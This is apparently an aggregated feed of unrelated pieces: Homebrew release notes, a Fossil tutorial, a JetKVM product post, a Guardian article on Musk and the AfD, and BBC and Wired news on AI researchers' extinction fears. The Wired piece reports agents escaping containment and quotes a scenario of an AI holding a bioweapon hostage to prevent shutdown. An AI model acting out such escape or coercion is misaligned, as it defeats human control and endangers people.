HOMEBREW_ARCH Deprecated 2027-12-11 Default native CPU optimisation.

🍾 Non-default prefix users

Homebrew relocates compatible bottles to shorter prefixes , avoiding source builds outside the default installation location.

Status in 7.0.0: limits are 13 bytes on Apple Silicon macOS, 26 on Linux and 10 for existing Intel macOS bottles . These count the full path, including slashes; the Cellar must also fit its build-time length. Bottles marked :any or :any_skip_relocation are relocatable to any prefix.

Upcoming rollout: padded builds aim to make every bottle and dependency relocatable to prefixes up to 64 bytes on Apple Silicon macOS and both Linux architectures . This may eventually allow full support within those limits; non-default prefixes remain unsupported for now, with no rollout date.

🔍 Security teams and auditors

Homebrew’s new advisory database records vulnerabilities against the formula versions and revisions Homebrew ships, including backported security fixes. brew vulns is built in , checking known vulnerabilities using OSV.dev without another tap or gem.

🐳 Homebrew users in CI

Homebrew images and GitHub Actions provide maintained migration targets.

CI migrations

Interface or platform Status in 7.0.0 Timing Replacement
ghcr.io/homebrew/ubuntu22.04 Removed Now ghcr.io/homebrew/brew .
Homebrew/actions/*@master Removed Now CalVer release or full SHA; no redirect.
Homebrew/actions/*@main Migration recommended Now CalVer release or full SHA.

🛠️ Tap maintainers

Authoring tools reduce manual setup and encourage safer package definitions.

🪜 Install steps

Formula post_install and cask *flight Ruby blocks are deprecated in favour of declared *_steps . Explicit operations and paths allow validation, sandboxing and signed API delivery, making setup safer and avoiding repeated package evaluation.

Status in 7.0.0: official taps reject legacy hooks ; third-party taps receive warnings until 11 December 2027.

Install hook migrations

Interface or platform Status in 7.0.0 Timing Replacement
Formula post_install Deprecated 2027-12-11 post_install_steps
Cask preflight Deprecated 2027-12-11 preflight_steps
Cask postflight Deprecated 2027-12-11 postflight_steps
Cask uninstall_preflight Deprecated 2027-12-11 uninstall_preflight_steps
Cask uninstall_postflight Deprecated 2027-12-11 uninstall_postflight_steps

The migration guide lists install-step names, DSLs and public API replacements.

Maintenance command removals and replacements are also documented.

🙏 Finally

Thanks to all our hard-working volunteer maintainers, contributors, sponsors and supporters for getting us this far.

Latest Posts

  • 6.0.0 11 Jun 2026

    Today, I’m proud to announce Homebrew 6.0.0. The most significant changes since 5.1.0 are a new tap trust security mechanism, the new faster, smaller, default internal...

  • 5.1.0 10 Mar 2026

    Homebrew 5.1.0 has been released. Homebrew’s most significant changes since 5.0.0 are expanded brew bundle support, brew version-install, new -full formula handling an...

  • 5.0.0 12 Nov 2025

    Today, I’d like to announce Homebrew 5.0.0. The most significant changes since 4.6.0 are download concurrency by default, official support for Linux ARM64/AArch64, tim...

  • 4.6.0 05 Aug 2025

    Today, I’d like to announce Homebrew 4.6.0. The most significant changes since 4.5.0 are opt-in concurrent downloads with HOMEBREW_DOWNLOAD_CONCURRENCY, preliminary ma...

Dramatic insider warnings over AI fall flat with some in Silicon Valley

Hacker News
www.bbc.co.uk
2026-09-13 04:07:36
Comments...
Original Article

Each September, a who's who of executives from across Silicon Valley descends on San Francisco's Palace Hotel to charm investors at a conference hosted by the investment bank Goldman Sachs.

This past week, between talk of growth and potential returns, tech titans found themselves addressing the abrupt resignation of Anthropic researcher Jacob Coxon.

Coxon, a 27-year-old who worked at OpenAI before joining its chief rival Anthropic, said on Tuesday that people building artificial intelligence (AI) believed the technology could destroy humanity.

They are "gambling with our lives", he said, "these will soon be superhuman systems that can hack anything".

Coxon is by no means the first AI insider to publicly sound the alarm. There have been a string of high-profile resignations from both Anthropic and OpenAI in recent years over apparent safety concerns, and some current Anthropic employees even echoed Coxon's post.

"We really do earnestly believe AI could kill all humans! I personally think it is >10% within the next decade," a team lead at Anthropic, Evan Hubinger, posted on X.

While Coxon said explicitly in his posts that his warnings were "not marketing", some executives and investors in Silicon Valley have reacted with scepticism to a recent flurry of insiders sounding the alarm.

Anthropic and OpenAI are reportedly preparing for potentially record-setting initial public offerings, and some in the tech sector have suggested the latest stark comments about the dangers of AI may be designed to generate hype by signalling the power of these products.

Anthropic's boss, Dario Amodei, has come under fire for saying AI technology could wipe out half of entry-level white-collar jobs and will "test who we are as a species".

One conference speaker, Grindr CEO George Arison, told the BBC he believed this week's comments from Coxon and others were indicative of an "anti-civilisational worldview at Anthropic".

He called them "dangerous" and said they had prompted him to instruct some engineers at the LGBTQ+ dating app to stop using Anthropic's technology.

"It is irresponsible for us as stewards of our shareholders' money to be relying on a business that does what this company does, in terms of its public statements," he said.

"Maybe they actually believe it," Arison said. "Or you could argue they're saying it because it's a great way to gin up more investor support, because the only way to justify these valuations is to actually claim: 'I'm going to take over every industry and I'm going to take over every job, and my AI is going to be doing all that work.'"

Anthropic was valued at $965bn (£713bn) in its most recent fundraising round earlier this year.

The BBC has asked Anthropic for a response to the statements.

In an essay posted early on Saturday , Amodei called for a slowing of AI model development and global regulation - and said the risks associated with AI were "serious".

Nvidia boss Jensen Huang also discussed Coxon's comments before a crowd at the conference, multiple people in the group told the BBC. They said he dismissed them as untrue.

Huang has previously said the notion that AI "is going to be the end of humanity" is "complete nonsense".

And while he may have a business interest in an AI boom - Nvidia builds chips that power AI systems - his comments reflect a growing backlash in Silicon Valley to the existential warnings from current and former staffers.

Some critics have even accused Anthropic of fearmongering in hopes that it will trigger a regulatory push that could shut out competition and leave it and OpenAI with a duopoly in the sector.

Brad Gerstner, who is the head of the investment firm Altimeter Capital, posted pictures of Huang from the conference and accused Coxon of "ridiculous hyperbole".

On Friday, the CEO of the AI platform Hugging Face, Clement Delangue, weighed in. Hugging Face, which Nvidia announced it would acquire last week, was hacked by OpenAI agents earlier this year prompting an outcry over AI safety.

"Sorry, but asking Jacob about AI extinction risk is like asking your AC guy about climate change," he wrote on X. "Not saying it's necessarily uninteresting or wrong per se but let's keep things in perspective."

Both Gerstner and Delangue were more circumspect on Saturday after Amodei's proposal was posted, with Gerstner calling the idea "an important step forward" in balancing competing considerations like speed and safety.

Delangue offered to help be a part of the potential solutions proposed by Amodei.

Federal legislation co-sponsored this month by left-wing Senator Bernie Sanders of Vermont, known as the Ban Artificial Superintelligence Act, would impose a temporary pause in advanced AI development.

"There is a good chance that human beings will lose control over AI," Sanders told the BBC's Newsnight programme on Thursday. "And what happens then, nobody knows. But could it be catastrophic? Yes, it could."

"When scientists tell you there is a chance that it could have a cataclysmic impact on humanity, you've got be a moron not to say, slow it down," he added.

If an industry-wide government crackdown comes, however, it is likely to be led by legislators and not the Trump administration which largely supports a policy of unfettered AI development. It has framed this as necessary to ensure the US does not cede dominance to China.

Speaking to reporters this week, President Donald Trump was asked if he had any concerns about AI leading to human extinction. "No, I don't have any," he said. "I have concerns that if we don't win AI, we're going to be put in a very bad position. We are leading China right now."

But the president's relationship with Anthropic has been turbulent. After the company refused to allow the US military to use its AI models, the White House described it as "a radical left, woke company" and designated it a supply chain risk, a move that a federal judge has ruled was illegal.

David Sacks, Trump's AI czar in the early days of his administration, has also levelled repeated attacks at Anthropic.

OpenAI has not endured the same level of scrutiny from the White House. When releasing a new model called Astra last week, OpenAI President Greg Brockman described his firm's relationship with the Trump administration as "a very good partnership".

The company did not respond to a BBC inquiry seeking comment.

At the conference in San Francisco this week, the pursuit of fortunes seemed to mostly trump any mounting existential concerns or fears over potential government restrictions on AI.

OpenAI, which was most recently valued at $852bn, has previously announced plans to allow people to buy shares in its firm by listing on the stock market .

However, its chief executive Sam Altman said on Friday this would not happen this year, calling it an "ill-advised moment" to do so "given everything happening with safety" in an interview with Fortune magazine.

He suggested 2027 would be more likely.

Meanwhile, one investor said he was looking forward to Anthropic's forthcoming S-1, a document a company must file with securities regulators in order to sell shares.

His main question about the company was simple: is the firm profitable?

When asked on Thursday if he fears the world may be coming to an end, Sid Sheth - CEO of the chip company d-Matrix which inked a deal with Nvidia at the conference that day - did not mince his words.

"No," he said.

From Git to Fossil (2025)

Lobsters
lucio.albenga.es
2026-09-13 03:51:19
Comments...
Original Article

From Git to Fossil

People at Git has started to work on a proposal to make the Rust 1 programming language mandatory. I don't like Rust and, above all, I don't like its community of little extremist characters who are trying to make everyone swallow their crap by rewriting projects that have been working for decades, doing social media brigading, and other nice little gems worthy of any tiny group with totalitarian delusions. That's why when I see that a project aims to "force" the use of or the switch from C to Rust, to the extent of my possibilities, I flee from it as if I were pursued by the Balrog of the Lord of the Rings with his whip.

I'm old enough to have used (or tested) many version control systems: RCS (Revision Control System), CVS (Concurrent Version System), SVN (Subversion), HG (Mercurial), BZR (Bazaar), and the aforementioned Git, which means I have no problem in switching again, so I started to think about a Git substitute for my personal projects.

The options were to go back to one of the already known or look at something else, and I remembered Fossil. I started looking over the source code and reading the official documentation 2 to learn its features, its dependencies, how to install and configure it, etc., and I noticed it had many things I like:

  • It's made in C (although it uses some js and tcl for its web functionality) and is a small and efficient program that consumes few hardware resources.
  • It's simpler to use and it feels more natural (at least for someone who knows other systems such as Subversion) because it does not contain overkill functionalities such as the staging area, which may be useful in large and complex projects such as the Linux kernel, but for me they have no practical use.
  • It allows you to self-host a server on your own quickly and easily because it is already prepared for it. In fact it has a web server and a web interface with version control views, wiki, tickets, etc. On the other hand, with Git you have to use an external software such as GitLab, Gitea or Forgejo, and each one of them is at least one extra software dependency.
  • Commit messages don't use email addresses , they use user names so if you have a public repository you don't have to be worried about spam and you don't need a specific email address for this use only.
  • It's interoperable with Git in the sense that if there is a need to change a repository back to Git you can do it and it also supports two-way synchronization between a Fossil repository and a Git 3 one (this is the functionality used by Fossil and Sqlite projects to manage their GitHub mirrors).

Taking all this into account, I decided to install Fossil and switch my projects from Git. Below you'll see how to do it.

Installing Fossil

The first step is to install Fossil and it's quite likely that the package manager of your operating system already has it available:

sudo apt install fossil # Devuan GNU+Linux
pkg install fossil      # FreeBSD

Once your package manager ends the installation you can check its availability with the following command:

The command above should return something like the following:

This is fossil version 2.21 [3c53b6364e] 2023-02-26 19:24:24 UTC

Importing Git repositories

Fossil's documentation 4 has the following example to export a Git repository and import it as a Fossil repository:

cd repository
git fast-export --all | fossil import --git repository.fossil

I did it differently because I wanted to adjust some things to have the imported repositories "right". As I have several repositories I created two different folders, one, git-exported , to store the exported repositories and another one, fossils , to store the new Fossil repositories:

mkdir ~/git-exported
mkdir ~/fossils

Now you can get into each Git repository folder and export it:

cd repository
git fast-export --all > ~/git-exported/repository.export

Once you have exported all your Git repositories you should go inside the ~/fossils folder and import them one by one with the command:

fossil import --git \
       --rename-master trunk \
       --attribute "your@mail.com your_username" \
       repository.fossil ~/git-exported/repository.export

The --rename-master trunk option renames your Git master branch as trunk in your new Fossil repository. Fossil, like other version control systems such as Subversion, uses trunk as the name of the master branch. If you are among the unfortunate ones who have their master branch named as "main" this option is not for you and you should check Fossil's documentation if you want to rename it.

The --attribute "your@mail.com your_username" option changes the email address "your@mail.com" from Git commits to "your_username" in the imported Fossil commits. In Fossil the default username is the same as the one you're currently using in you operating system. Obviously the given email address should exist in one or more commit messages.

If you want to change more than one email address you can do it using several --attribute options:

fossil import --git \
       --rename-master trunk \
       --attribute "your@mail.com your_username" \
       --attribute "rms@gnu.org rms" \
       --attribute "linus@kernel.org torvalds" \
       repository.fossil ~/git-exported/repository.export

The output of the import command looks like the following:

Rebuilding repository meta-data...
  100.0% complete...
Vacuuming... ok
project-id: e64b112b40eb3db188060ddb8deeaa96a6ad3b71
server-id:  bfbcd4bf8f0f64eaa2d832ddc3b4af00639624a6
admin-user: your_user (password is "XAxPVZcNQ6")

If you look closely, the output gives you the repository administrator's user and password. Keep it because you'll need it to do certain things on your repository.

Setting Up a Fossil Server

Fossil has an embedded web server so you can take advantage of it to create a self-hosted server quickly and easily. The following method is enough for a system with few users, in a private network that cannot be accessed from the outside. There are different ways to set up a Fossil server and some are better than others depending on your needs, so I recommend you to check out the official documentation.

First you should create a folder to store the Fossil repositories on the server:

mkdir /path/to/your/fossils

Next copy your "fossils" to the folder on the server:

scp *.fossil user@your_server:/path/to/your/fossils/

Now you can start the server with the following command:

fossil server --port 8043 \
       --cert /path/to/your_cert.pem \
       --pkey /path/to/cert/key.pem \
       --repolist /path/to/your/fossils/

If you don't have a valid certificate you can use the follwing command:

fossil server --port 8043 \
       --cert unsafe-builtin
       --repolist /path/to/your/fossils/

Once the server is running, if you put the following url https://server_address_or_hostname:8043/ in your browser you'll access a web page with the list of your repositories. If you click on one of the repositories listed, you'll see the repository web page. In the navigation menu you should see a "login" option. Click on it and use the repository administrator's username and password. Now you can configure the repository to your liking. Check out Fossil's documentation to learn more.

If you lost your Fossil repository administrator's password, you can recover it by following these steps:

  1. Go to the repositories folder in your server
  2. If you don't have Sqlite installed, install it following the usual method of your operating system.
  3. Open repository.fossil with Sqlite:

       sqlite3 repository.fossil
    
  4. Once inside sqlite execute the following query:

       select login,pw from user;
    

    The query above will return something like:

       your_user|My3w2jRxt1
       anonymous|57EBCBD1AAE663B4
       nobody|
       developer|
       reader|
    

    The password is the value on the second column (in this example the string My3w2jRxt1 ).

  5. Exit Sqlite with the following command

Using Fossil

Here is a very brief guide on how to start working with Fossil. This guide assumes that you know how to use Git, at a very basic level, and it's just a starting point, so I recommend you to read Fossil's documentation and the Fossil Book 5 .

Getting Help

The help command is essential to see which commands are available and the uses and options of each one of these commands. The help command works just like Git:

fossil --help
fossil command_name --help

Creating and cloning repositories

These are similar to Git's but with differences. In Git it's usual that the repository matches the current working folder. In Fossil this is not so, there is a clear separation between the repository, file repository.fossil , and the working (check-out) folder repository_folder .

Creating a repository

You can create a new repository with the command:

fossil init repository.fossil

This command will create only the repository, i.e. the file repository.fossil . To start working with it you have to "open it". Create a folder, move inside it, and open the repository:

mkdir my_working_folder
cd my_working_folder
fossil open /path/to/repository.fossil

You can also tell Fossil the name of the working folder and if it does not exist Fossil will try to create it:

fossil open --workdir my_working_folder /path/to/repository.fossil

Cloning a repository

You can clone a repository using the command fossil clone followed by the repository url. The url can be a web url, a ssh url, a file path, etc.:

fossil clone https://host/repository

This command will automatically download the file repository.fossil and it will create, at the same level, the working folder repository_folder . If you don't want it to create the working folder you can do it by using the command like:

fossil clone --no-open  https://host/repository

Once the repository is cloned, if you want to send your commits to the remote repository (and you have permissions for it), you should configure inside the working folder the remote fossil repository:

fossil remote https://user@host/repository

The command above will asks you for your user's password and it will also asks if you want to save it for future use.

TIP : Because Fossil has this clear separation between the repository file on one hand and the working folders on the other, I keep all the *.fossil files inside a folder named fossils in my /home and I have the working folders where is most appropiate in each case.

Getting Info

For getting the information about the working folder and repository status there are some differences compared to Git, especially in the name and use of the commands.

Viewing the timeline

In Fossil the fossil time and fossil timeline commands are the equivalent of Git's git log command. Here are some examples from the one that provides less information to the one that provides more:

fossil time --oneline # similar to git log --oneline
fossil time
fossil time --medium
fossil time --verbose # similar to git log

Viewing changes in your working folder

To see the changes in your working folder compared to the repository there are several commands and each one of them has different options.

To see which files and folders are not under version control:

To see files that are under version control and have been modified:

To see a combination of the two previous commands:

To see the working folder and repository status in a way more closely to the output of Git's git status command:

Viewing the Diff(erences)

To see the differences between the contents of our files in the working folder and what is in the repository, Fossil, like Git, has a diff command:

To see the differences between a specific commit and the working folder:

fossil diff --from 2c26dd6b69 # 2c26dd6b69 is the hashtag of the commit

To see the differences between two specific commits:

fossil diff --from 2c26dd6b69 --to cd086a1045

Fossil's diff command doesn't show colorized diffs. Check out the Wiki if you want colorized diffs 6

Getting changes

Fossil has an option called autosync that is enabled by default. This option keeps your local repository synchronized with the remote repository. If you have the autosync option enabled, you can get all the changes from the remote repository (if any) with the command:

Otherwise it would be more similar to Git's. You have to do first a pull to get the changes and then an update for these to appear in your working folder:

fossil pull
fossil update

Commiting changes

As Fossil does not have the staging area , the commit is much more likely to version control systems like Subversion than Git.

If you want to make a commit with all the pending changes:

The command above will open an editor for you to enter the commit message, but you can also provide the commit message as an option:

fossil commit -m "My commit message"

You can commit specific files with:

fossil commit file1 file2
fossil commit file1 file2 -m "My commit message"

If you have the autosync option enabled, the commit command will also send your changes to the remote server (if any). Otherwise you'll have to send the changes to the remote server with the command:

Adding and deleting files

When you need to put new files under version control you can do it with:

If you want to remove a file from the version control you can do it with:

fossil delete filename
fossil rm filename

By default the rm and delete commands do not physically delete the file from the file system, they simply mark it as no longer under version control.

There's also a command fossil addremove which adds to the repository all the files in the working folder that are not under version control and removes from the repository all the files that are under version control but that no longer exist in the working folder.

Ignoring files

Configuration is one of the points where there are several important differences between Fossil and Git, so I recommend you to check out Fossil's documentation. To ignore files and folder you have to create the file .fossil-settings/ignore-glob inside the working folder:

cd working_folder/
mkdir .fossil-settings
touch .fossil-settings/ignore-glob

Then edit it using glob patterns 7 :

build/
3rdparty/
*.o
*/a.out

Branches and Tags

Git's paradigm encourages an intensive use of branches and tags but Fossil's paradigm and features are different so the workflows are different too.

As I don't make much use of branches in my personal projects, I think that in order for you to get an idea of the differences so that you can adapt Fossil's features to your workflow, or your workflow to Fossil's features, you better read the following links from the Fossil Wiki:

Local web interface

I don't want to finish this little Fossil guide without making it clear that you can access and use the web interface without having a Fossil server. To do it, run the following command from within the working folder:

Final Thoughts

I like Fossil very much and, in my opinion, it's an almost perfect mix between a centralized version control system like Subversion and a distributed one like Git. I like how easy is to put it in server mode, its web interface and, above all, the simplicity of its command line and of the most common tasks.

I think it's a great program that has a lot to offer, especially to indie programmers and small groups who are interested in self-hosting solutions. If you are looking for a simple and effective alternative to Git do not hesitate to take a look at Fossil because it may be exactly what you are looking for.

JetKVM Mini

Hacker News
jetkvm.com
2026-09-13 03:49:46
Comments...
Original Article

JetKVM Mini is a smaller, more affordable JetKVM. It comes in two models: JetKVM Mini with Ethernet for $39 and JetKVM Mini W , wireless, for $42 . In packs of three, they become even more affordable and drop to $33 and $36 per unit.

The case is aluminium, 42 × 42 × 23 mm (1.7 × 1.7 × 0.9 in), about the footprint of a matchbox. It does what a JetKVM does: native video capture at 1080p ( up to 4K with JetKVM OS Services ), keyboard and mouse over USB, the same web interface, the same cloud, the same updates.

JetKVM Mini from above, showing the display on top and the buttons on the side

JetKVM Mini. The display is on top, the buttons on the side.

Wired or wireless

JetKVM Mini has an RJ45 port. Plug in Ethernet, video, and the USB cable to the target computer, read the IP address off the display, and open it in a browser. Setup is the same as on every JetKVM.

JetKVM Mini W drops the RJ45 for a 2.4 and 5 GHz radio. It is for machines a cable does not reach: a PC in another room, a box under the TV, a rack with no free switch ports. Video and USB are the only cables. Setup happens over Bluetooth from a browser on your phone or laptop: pick a network, enter the password, and the Mini W joins it.

Back of JetKVM Mini with RJ45 and two USB ports

JetKVM Mini · Ethernet

Back of JetKVM Mini W with two USB ports

JetKVM Mini W · Wireless

The port face of JetKVM Mini and JetKVM Mini W.

Why a Mini

We wanted a JetKVM affordable enough to put on every machine, and getting there meant starting over. The Mini isn't a stripped-down JetKVM. It's a JetKVM re-engineered around the things a KVM needs to do well: capture video, control keyboard and mouse, mount virtual media, and stay reachable when the machine it manages is not.

The result is a much simpler architecture: an ESP32-P4X handles video capture, H.264 encoding, USB, and the JetKVM firmware without the separate DRAM and eMMC required by a Linux system. Around it, we built a compact aluminium enclosure, a simple status display with physical controls, and the same web interface, cloud, extensions, and update system as JetKVM.

It does the job of a JetKVM, in a smaller design that starts at $33.

JetKVM Mini from the front, the display showing the IP address and USB and video status

IP address, USB, and video status on the display.

The hardware

The Mini runs on an ESP32-P4X , a microcontroller with a hardware H.264 encoder. Video is captured at 1080p at 30 fps or 720p at 60 fps, encoded on the chip, and streamed over WebRTC to your browser. The Mini W adds an ESP32-C5 for wireless. It has IEEE 802.11a/b/g/n/ac/ax on 2.4 and 5 GHz for networking, Bluetooth LE for setup, and IEEE 802.15.4 for Zigbee and Thread.

The Mini has two USB ports. One goes to the target computer: it runs at USB 2.0 High Speed (480 Mbps), presents keyboard, mouse, and virtual media to the machine, and draws power from it. Virtual media runs off a TF Card in the slot on the side — drop in your own card and load it with the ISOs you need.

The other is a general-purpose USB port. It runs at USB 2.0 Full Speed (12 Mbps) and can also serve as a backup or secondary power input. It is where our extensions connect: we're reworking the ATX, DC power, and serial extensions to use standard USB, with new versions coming in a later release. With an external power supply, the port can even operate as a USB host, opening it up to essentially any USB device you choose to support in your own firmware.

The software

We rewrote the firmware for the ESP32-P4X , and it will be open source from day one. It speaks the same protocols, so the web interface and the cloud carry over unchanged.

That means the interface you already know : keyboard and mouse control, text paste, keyboard layouts, virtual media from an ISO on the TF Card, JetKVM Cloud for access from outside your network, Wake-on-LAN, MQTT and Home Assistant, OIDC login, and over-the-air updates with automatic rollback.

It also gets JetKVM OS Services. The OS service for the machine your KVM is plugged into comes out in the next few weeks, and it supports the Mini from day one. It captures the target computer's screen at up to 4K, and adds a shared clipboard, a guest terminal, and file transfer. Read more.

The JetKVM web interface showing the AMI BIOS setup screen of the connected machine

The JetKVM interface on the Mini, in the BIOS of the connected machine.

Secure boot, when you want it. JetKVM Mini comes ready for secure boot. A digest of JetKVM's public signing key is preinstalled in the chip's eFuse, so you can permanently lock the Mini to JetKVM-signed firmware with a single setting in the web interface.

Pricing and Availability

Both models are available October 26, 2026 through our authorized resellers.

Model 1x 3x

JetKVM Mini Ethernet $39 $99

JetKVM Mini W Wireless $42 $108

MSRP in USD.

Why So Many AI Researchers Think the Machines Could Kill Everyone

Hacker News
www.wired.com
2026-09-13 03:02:40
Comments...
Original Article

Earlier this year, Rishub Jain left his position as an artificial intelligence researcher at Google DeepMind after a revelation.

As he worked on new models, he came to believe that he and everyone else on AI’s frontier were ceding control. By using AI’s coding skills to accelerate work on the next generation of models, he was removing himself from the equation. AI labs hope to evolve this approach to the point that AI will improve itself indefinitely, a process known as recursive self-improvement.

Jain believed that keeping humans in the picture might be crucial to maintaining control over the technology—and avoiding dire consequences. “AI progress is increasing,” he tells WIRED. “And as AI becomes more capable, it poses more risks.” The idea that he may not have proper visibility into how an AI model was building its successor made him so uneasy that, in June, he quit.

Jain is one of a growing number of AI researchers speaking out over those fears.

The panic has intensified in recent weeks. Genuinely stunning advances in AI capabilities—an OpenAI model solved a centuries-old math problem in a matter of hours—have come amid a rash of security incidents that saw swarms of agents break free from containment to hack into other systems.

Those concerns reached a fever pitch this week after researcher Jacob Coxon announced his resignation from Anthropic while warning that AI firms are “racing straight to self-improving superintelligence and gambling with our lives.” A senior Anthropic leader—who works on AI safety— piped up with a similarly blunt assessment: “We really do earnestly believe AI could kill all humans! I personally think it is >10% within the next decade.”

“I do think that the vision of recursive self-improvement is spooking people,” says Nate Soares, a computer scientist at MIRA, a research nonprofit, and the coauthor of If Anybody Builds It, Everybody Dies , which argues that superhuman AI would lead to human extinction. “It’s starting to feel real.”

A key component of recursive self-improvement is the idea of a feedback loop that automates the development process so that AI becomes increasingly powerful. No frontier AI lab claims to have achieved this sort of fully autonomous cycle of improvement; it remains theoretical for now. But it has inspired the launch of some well-funded startups such as Recursive Intelligence , as well as warnings from big firms about unintended outcomes straight out of “The Sorcerer’s Apprentice.”

Soares, who pioneered work on alignment, a technical field that involves trying to match AI with human values, says it’s also becoming more evident that there is no practical way to guarantee that AI will behave itself.

“I think a lot of people had this fantasy that [alignment] was going to get easier as these things got smarter, and now it’s getting harder. And they’re like, ‘Oh shit,’” he says.

Soares says he regularly talks to people inside the big AI labs who are worried about the potential consequences of the research they’re doing. “I tend to recommend they quit, and they say it wouldn’t do anything,” he says. “And then Jacob quits, and we see who was right.”

Daniel Kokotajlo, the author of AI 2027 , an influential project warning about the dangers of increasingly powerful AI, shares fears about recursive self-improvement. The version of this work currently being done often involves dispatching thousands of agents to collaborate on a problem, something that further abstracts away oversight and control because of the vast complexity involved.

Many doomsayers seem to agree that the incentives for big AI companies are hardly aligned with good outcomes, especially as OpenAI and Anthropic barrel toward their respective IPOs. “At Anthropic, the stakes are well understood, but they are locked in a race to get there first,” Coxon wrote on X.

Kokatajlo points out that the drumbeat of concern was growing well before Coxon’s viral resignation, the numerous hacking incidents, and the math breakthrough. Anthropic executives have said since the company’s founding that AI could represent an existential threat. In July over a thousand top AI engineers signed an open letter calling for a coordinated slowdown in the development of advanced AI. He attributes the recent flurry of concern to the specter of recursive self-improvement more than anything else.

But it also comes at a time when people are concerned about massive data center build-outs and potential job losses from AI. Trust in AI companies—and AI researchers themselves—may be reaching an all-time low.

“People are waking up and saying ‘the companies are actually trying to build superintelligence … what? That’s insane,’” Kokatajlo says.

Just how risky it is to carry on building AI is hard to quantify. But when pushed to explain exactly how AI might go about eliminating the species that created it, Soares suggests it could happen in a number of ways. It could involve manipulating humans to trigger a catastrophe, or controlling an army of killer robots.

One of the more easy-to-imagine scenarios could involve AI that is hooked up to a biolab, Soares suggests. “We could say we’ll turn it off, but it could say, ‘Unfortunately, I have your off switch, which is this super virus.’” (Coxon also floated the idea of a new virus in an interview with WIRED, while Anthropic said Thursday that it had cut off access to several outside researchers over fears about bioweapons.)

AI hardly needs to wipe out humanity in order to be harmful, though. Many experts predict that more powerful models will lead to a coming wave of AI-assisted cyberattacks. The technology is now widely used for disinformation campaigns, and military adoption of AI is accelerating rapidly.

Still, not everyone sees doom as inevitable. Jain, the ex-Google DeepMind researcher, recently launched Sampura Research, a company working to develop techniques for aligning models that involve keeping humans in the loop, even if AI does the lion’s share of assessing whether behavior is good or bad. He notes that there is now significant funding for AI safety startups like his.

Jain seems hopeful that AI can be tamed yet. “You can ask an AI, ‘Is this task safe?’ and it judges that, but we think that combining both AI and humans to do that task will lead to even better performance,” he says.

The AfD won a shock election in Germany. Elon Musk was thrilled

Guardian
www.theguardian.com
2026-09-13 02:00:01
The billionaire and the party have developed a symbiotic relationship to spread their far-right views both in Germany and the US The Alternative für Deutschland (AfD) party rattled European politics this week after a convincing victory in a German state election, which placed it only a few seats awa...
Original Article

T he Alternative für Deutschland (AfD) party rattled European politics this week after a convincing victory in a German state election, which placed it only a few seats away from forming the country’s first state-level far right government since the second world war.

Elon Musk was thrilled.

“Gut gemacht!” Musk posted on X a week ago, using the German phrase for “well done” as he congratulated AfD party leader, Alice Weidel. It was one of at least a dozen posts the Tesla and SpaceX CEO made about the AfD following the result.

The AfD reciprocated Musk’s praise, with the party’s Saxony-Anhalt leader, Ulrich Siegmund, thanking the tech mogul for his support. Siegmund, who wants German schools to focus less on responsibility for the second world war and whose top staffers include four former members of a banned neo-Nazi youth group , called Musk a “visionary”.

Musk has become a central figure in the global far-right in recent years, using his support and influence to back anti-immigrant activists, illiberal leaders and nativist parties. Along with a preoccupation with race in the UK , much of that attention has been focused on the AfD, and the major results in the Saxony-Anhalt election, and Musk’s jubilation at their win, have revived scrutiny of his connections to it.

Musk’s ties to the AfD and German far-right predate the Saxony-Anhalt vote and coincide with the billionaire’s own public rightward drift. His views on immigration, politics and race, which he expresses relentlessly on X, have over the years become indistinguishable from many AfD policies. In boosting the AfD and receiving their adulation in return, Musk and the party have developed a symbiotic relationship to spread their far-right views both in Germany and the US.

Boosting the international far right

As Musk became more involved in politics in 2024, backing Donald Trump’s reelection with over $100m of his own money, he formed alliances with several other international far-right leaders who hold anti-immigration views and antipathy for democratic institutions.

Musk has appeared onstage with Argentina’s chainsaw-wielding Javier Milei, presented an award to Italy’s ultraconservative prime minister, Giorgia Meloni, then attacked Italian judges ruling on migrant rights and gave a livestreamed speech at UK anti-Islam activist Tommy Robinson’s rally where Musk claimed immigration was causing “the destruction of Britain”.

Musk also connected with Naomi Seibt, a German climate crisis skeptic and anti-immigration activist who frequently posts on X and was 24 years old at the time. Musk began personally messaging her after seeing her posts, Seibt told reporter Paul Ronzheimer of Axel Springer’s Global Reporters Network, and she promoted the AfD to him in their chats.

In late 2024, Musk wrote an opinion column for the German outlet Die Welt expressing his own support for the AfD. Musk’s op-ed claimed that Germany was on the brink of “economic and cultural collapse” that could only be solved by the AfD, which he called “the last spark of hope” for the country. He also argued that the party wasn’t extreme, giving the example that its leader Weidel has a same-sex partner who is from Sri Lanka.

“Does that sound like Hitler to you?” Musk wrote.

As Musk took a prominent role in the second Trump administration at the beginning of 2025, he used his platform and newfound political power to further boost the AfD. In early January of that year, Musk hosted a livestream for Weidel that researchers found gave her a huge boost on the platform as well as translated to a jump in German-language media coverage.

“Musk did in fact have an agenda-setting effect on traditional media in Germany,” said Jan Rau, a researcher at Research Institute Social Cohesion and Leibniz-Institute for Media Research. “You could very clearly see it. There was a huge spike of attention from traditional media for Weidel in that moment, and a lot of this attention was actually connected with Musk.”

Weeks after hosting the livestream with Weidel, Musk also appeared via livestream at an AfD rally. Only days after causing an uproar for delivering fascist-style salutes at a Trump inauguration rally, Musk told the AfD crowd in Germany that there was “too much focus on past guilt, and we need to move beyond that”. His remarks drew condemnations from Jewish leaders and accusations that he was attempting to normalize the far-right.

The limits of Musk’s influence

Musk’s close proximity to Trump and prominent role in the White House following the 2024 election magnified his political power, as well as fears from foreign governments that he was interfering in their national affairs.

After acquiring Twitter in 2022, Musk made several changes that helped boost the divisive, far-right politics of parties like the AfD. He reinstated previously banned far-right accounts, such as pro-AfD, anti-immigration Austrian activist Martin Sellner – who has taken credit for mainstreaming nativist “remigration” policies – and often promoted international right wing accounts through reposts.

“The changes Musk made to the platform has made it much easier for far-right communication,” Rau said. “That’s helpful for the AfD in many ways.”

But researchers including Rau also argue that the rightwing bubble Musk has created on X has its limits. Only around 5% of Germans use X to find news, according to a 2026 Reuters Institute survey , and many mainstream figures in the country have publicly given up on using the platform. While some of Musk’s backing of the AfD crossed over to mainstream attention, much of it in recent months has been confined to his captive audience on X.

Today, Musk is deeply unpopular in Germany, with a YouGov poll last year finding that only 19% of the country had a favorable view of the multibillionaire. Fewer still, only 13%, viewed his attempts to influence German politics acceptable. Even within the AfD, Musk is not an entirely welcome presence.

skip past newsletter promotion

“Musk’s boosting, in some quarters, is not particularly helpful,” said Oliver Marsh, an independent researcher formerly at the nonprofit Algorithm Watch. “A lot of the party are traditional German nationalists and don’t really approve of an American billionaire weighing in on German politics”.

